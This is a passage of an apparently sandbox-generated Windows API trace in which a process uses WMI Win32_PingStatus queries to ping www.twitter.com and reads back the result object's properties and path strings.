(bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0161.532] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0161.532] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4d0 [0161.532] SetEvent (hEvent=0x3f4) returned 1 [0161.532] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5bdef20*=0x4d0, lpdwindex=0x5bded44 | out: lpdwindex=0x5bded44) returned 0x0 [0161.535] CoGetContextToken (in: pToken=0x5bdedf4 | out: pToken=0x5bdedf4) returned 0x0 [0161.535] CoGetContextToken (in: pToken=0x5bded54 | out: pToken=0x5bded54) returned 0x0 [0161.535] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df380, riid=0x5bdee24*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x5bdee20 | out: ppvObject=0x5bdee20*=0x5df380) returned 0x0 [0161.535] WbemDefPath:IUnknown:AddRef (This=0x5df380) returned 0x3 [0161.535] WbemDefPath:IUnknown:Release (This=0x5df380) returned 0x2 [0161.535] WbemDefPath:IWbemPath:SetText (This=0x5df380, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x0 [0161.535] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdefa0 | out: puCount=0x5bdefa0*=0x2) returned 0x0 [0161.535] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef9c*=0x0, pszText=0x0 | out: puBuffLength=0x5bdef9c*=0xf, pszText=0x0) returned 0x0 [0161.535] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef9c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdef9c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.535] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdef08 | out: puCount=0x5bdef08*=0x2) returned 0x0 [0161.535] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef04*=0x0, pszText=0x0 | out: puBuffLength=0x5bdef04*=0xf, pszText=0x0) returned 0x0 [0161.535] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef04*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdef04*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.535] IWbemClassObject:Get (in: This=0x5f765d8, wszName="Address", lFlags=0, pVal=0x5bdef04*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cc86c*=0, plFlavor=0x25cc870*=0 | out: pVal=0x5bdef04*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x25cc86c*=8, plFlavor=0x25cc870*=0) returned 0x0 [0161.535] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0161.535] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0161.535] IWbemClassObject:Get (in: This=0x5f765d8, wszName="Address", lFlags=0, pVal=0x5bdef0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cc86c*=8, plFlavor=0x25cc870*=0 | out: pVal=0x5bdef0c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x25cc86c*=8, plFlavor=0x25cc870*=0) returned 0x0 [0161.535] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0161.535] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0161.535] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdef08 | out: puCount=0x5bdef08*=0x2) returned 0x0 [0161.535] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef04*=0x0, pszText=0x0 | out: puBuffLength=0x5bdef04*=0xf, pszText=0x0) returned 0x0 [0161.536] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef04*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdef04*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.536] IWbemClassObject:Get (in: This=0x5f765d8, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x5bdef04*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cc928*=0, plFlavor=0x25cc92c*=0 | out: pVal=0x5bdef04*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cc928*=19, plFlavor=0x25cc92c*=0) returned 0x0 [0161.536] IWbemClassObject:Get (in: This=0x5f765d8, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x5bdef0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cc928*=19, plFlavor=0x25cc92c*=0 | out: pVal=0x5bdef0c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cc928*=19, plFlavor=0x25cc92c*=0) returned 0x0 [0161.536] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdef08 | out: puCount=0x5bdef08*=0x2) returned 0x0 [0161.536] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef04*=0x0, pszText=0x0 | out: puBuffLength=0x5bdef04*=0xf, pszText=0x0) returned 0x0 [0161.536] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdef04*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdef04*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.536] IWbemClassObject:Get (in: This=0x5f765d8, wszName="StatusCode", lFlags=0, pVal=0x5bdef04*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cc9bc*=0, plFlavor=0x25cc9c0*=0 | out: pVal=0x5bdef04*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cc9bc*=19, plFlavor=0x25cc9c0*=0) returned 0x0 [0161.536] IWbemClassObject:Get (in: This=0x5f765d8, wszName="StatusCode", lFlags=0, pVal=0x5bdef0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cc9bc*=19, plFlavor=0x25cc9c0*=0 | out: pVal=0x5bdef0c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cc9bc*=19, plFlavor=0x25cc9c0*=0) returned 0x0 [0161.537] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdec54 | out: puCount=0x5bdec54*=0x2) returned 0x0 [0161.537] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0x0, pszText=0x0 | out: puBuffLength=0x5bdec50*=0xf, pszText=0x0) returned 0x0 [0161.537] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.537] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bdec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cceb8*=0, plFlavor=0x25ccebc*=0 | out: pVal=0x5bdec50*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x25cceb8*=8, plFlavor=0x25ccebc*=64) returned 0x0 [0161.537] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.537] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.537] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bdec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cceb8*=8, plFlavor=0x25ccebc*=64 | out: pVal=0x5bdec58*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x25cceb8*=8, plFlavor=0x25ccebc*=64) returned 0x0 [0161.537] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.537] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.537] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdec54 | out: puCount=0x5bdec54*=0x2) returned 0x0 [0161.537] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0x0, pszText=0x0 | out: puBuffLength=0x5bdec50*=0xf, pszText=0x0) returned 0x0 [0161.537] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.537] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__CLASS", lFlags=0, pVal=0x5bdec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ccf54*=0, plFlavor=0x25ccf58*=0 | out: pVal=0x5bdec50*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25ccf54*=8, plFlavor=0x25ccf58*=64) returned 0x0 [0161.537] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.537] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.537] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__CLASS", lFlags=0, pVal=0x5bdec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ccf54*=8, plFlavor=0x25ccf58*=64 | out: pVal=0x5bdec58*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25ccf54*=8, plFlavor=0x25ccf58*=64) returned 0x0 [0161.537] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.537] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.537] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdec54 | out: puCount=0x5bdec54*=0x2) returned 0x0 [0161.538] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0x0, pszText=0x0 | out: puBuffLength=0x5bdec50*=0xf, pszText=0x0) returned 0x0 [0161.538] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.538] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__Derivation", lFlags=0, pVal=0x5bdec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cd0b0*=0, plFlavor=0x25cd0b4*=0 | out: pVal=0x5bdec50*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8afd0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3d40, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25cd0b0*=8200, plFlavor=0x25cd0b4*=64) returned 0x0 [0161.538] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__Derivation", lFlags=0, pVal=0x5bdec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cd0b0*=8200, plFlavor=0x25cd0b4*=64 | out: pVal=0x5bdec58*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8af10*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3d40, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25cd0b0*=8200, plFlavor=0x25cd0b4*=64) returned 0x0 [0161.538] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdec54 | out: puCount=0x5bdec54*=0x2) returned 0x0 [0161.538] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0x0, pszText=0x0 | out: puBuffLength=0x5bdec50*=0xf, pszText=0x0) returned 0x0 [0161.538] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.538] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__CLASS", lFlags=0, pVal=0x5bdec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cd318*=0, plFlavor=0x25cd31c*=0 | out: pVal=0x5bdec50*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25cd318*=8, plFlavor=0x25cd31c*=64) returned 0x0 [0161.538] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.538] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.538] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__CLASS", lFlags=0, pVal=0x5bdec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cd318*=8, plFlavor=0x25cd31c*=64 | out: pVal=0x5bdec58*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25cd318*=8, plFlavor=0x25cd31c*=64) returned 0x0 [0161.538] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.538] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.539] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bdec54 | out: puCount=0x5bdec54*=0x2) returned 0x0 [0161.539] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0x0, pszText=0x0 | out: puBuffLength=0x5bdec50*=0xf, pszText=0x0) returned 0x0 [0161.539] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bdec50*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bdec50*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.539] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__Derivation", lFlags=0, pVal=0x5bdec50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cd440*=0, plFlavor=0x25cd444*=0 | out: pVal=0x5bdec50*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8afd0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3d40, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25cd440*=8200, plFlavor=0x25cd444*=64) returned 0x0 [0161.539] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__Derivation", lFlags=0, pVal=0x5bdec58*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cd440*=8200, plFlavor=0x25cd444*=64 | out: pVal=0x5bdec58*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8af10*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3d40, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25cd440*=8200, plFlavor=0x25cd444*=64) returned 0x0 [0161.540] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde880 | out: puCount=0x5bde880*=0x2) returned 0x0 [0161.540] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde87c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde87c*=0xf, pszText=0x0) returned 0x0 [0161.540] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde87c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde87c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.540] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde880 | out: puCount=0x5bde880*=0x2) returned 0x0 [0161.540] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde87c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde87c*=0xf, pszText=0x0) returned 0x0 [0161.540] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde87c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde87c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.540] IWbemClassObject:GetNames (in: This=0x5f765d8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde888*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde87c | out: pNames=0x5bde87c*="\x01ƀ\x04") returned 0x0 [0161.540] SafeArrayGetDim (psa=0x5f8af70) returned 0x1 [0161.540] SafeArrayGetDim (psa=0x5f8af70) returned 0x1 [0161.540] SafeArrayGetLBound (in: psa=0x5f8af70, nDim=0x1, plLbound=0x5bde714 | out: plLbound=0x5bde714) returned 0x0 [0161.540] SysStringByteLen (bstr="__GENUS") returned 0xe [0161.540] SysStringByteLen (bstr="__GENUS") returned 0xe [0161.540] SysStringByteLen (bstr="__CLASS") returned 0xe [0161.540] SysStringByteLen (bstr="__CLASS") returned 0xe [0161.540] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0161.540] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0161.540] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0161.540] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0161.540] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0161.540] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0161.540] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0161.541] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0161.541] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0161.541] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0161.541] SysStringByteLen (bstr="__SERVER") returned 0x10 [0161.541] SysStringByteLen (bstr="__SERVER") returned 0x10 [0161.541] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0161.541] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0161.541] SysStringByteLen (bstr="__PATH") returned 0xc [0161.541] SysStringByteLen (bstr="__PATH") returned 0xc [0161.541] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__GENUS", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cec80*=0, plFlavor=0x25cec84*=0 | out: pVal=0x5bde878*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x25cec80*=3, plFlavor=0x25cec84*=64) returned 0x0 [0161.541] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__CLASS", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ced88*=0, plFlavor=0x25ced8c*=0 | out: pVal=0x5bde878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25ced88*=8, plFlavor=0x25ced8c*=64) returned 0x0 [0161.541] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.541] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.541] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cee1c*=0, plFlavor=0x25cee20*=0 | out: pVal=0x5bde878*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cee1c*=8, plFlavor=0x25cee20*=64) returned 0x0 [0161.541] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__DYNASTY", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25ceee0*=0, plFlavor=0x25ceee4*=0 | out: pVal=0x5bde878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25ceee0*=8, plFlavor=0x25ceee4*=64) returned 0x0 [0161.541] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.542] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.542] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__RELPATH", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cef74*=0, plFlavor=0x25cef78*=0 | out: pVal=0x5bde878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25cef74*=8, plFlavor=0x25cef78*=64) returned 0x0 [0161.542] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0161.542] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0161.542] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cf1b8*=0, plFlavor=0x25cf1bc*=0 | out: pVal=0x5bde878*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x25cf1b8*=3, plFlavor=0x25cf1bc*=64) returned 0x0 [0161.542] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cf300*=0, plFlavor=0x25cf304*=0 | out: pVal=0x5bde878*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8b000*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3d40, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25cf300*=8200, plFlavor=0x25cf304*=64) returned 0x0 [0161.542] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SERVER", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cf370*=0, plFlavor=0x25cf374*=0 | out: pVal=0x5bde878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x25cf370*=8, plFlavor=0x25cf374*=64) returned 0x0 [0161.542] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.542] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.543] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cf3f8*=0, plFlavor=0x25cf3fc*=0 | out: pVal=0x5bde878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x25cf3f8*=8, plFlavor=0x25cf3fc*=64) returned 0x0 [0161.543] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.543] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.543] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__PATH", lFlags=0, pVal=0x5bde878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25cf4cc*=0, plFlavor=0x25cf4d0*=0 | out: pVal=0x5bde878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25cf4cc*=8, plFlavor=0x25cf4d0*=64) returned 0x0 [0161.543] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0161.543] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0161.543] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde8bc | out: puCount=0x5bde8bc*=0x2) returned 0x0 [0161.543] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8b8*=0x0, pszText=0x0 | out: puBuffLength=0x5bde8b8*=0xf, pszText=0x0) returned 0x0 [0161.543] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8b8*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde8b8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.543] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde8bc | out: puCount=0x5bde8bc*=0x2) returned 0x0 [0161.543] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8b8*=0x0, pszText=0x0 | out: puBuffLength=0x5bde8b8*=0xf, pszText=0x0) returned 0x0 [0161.543] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8b8*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde8b8*=0xf, pszText="\\\\.\\root\\cimv2") 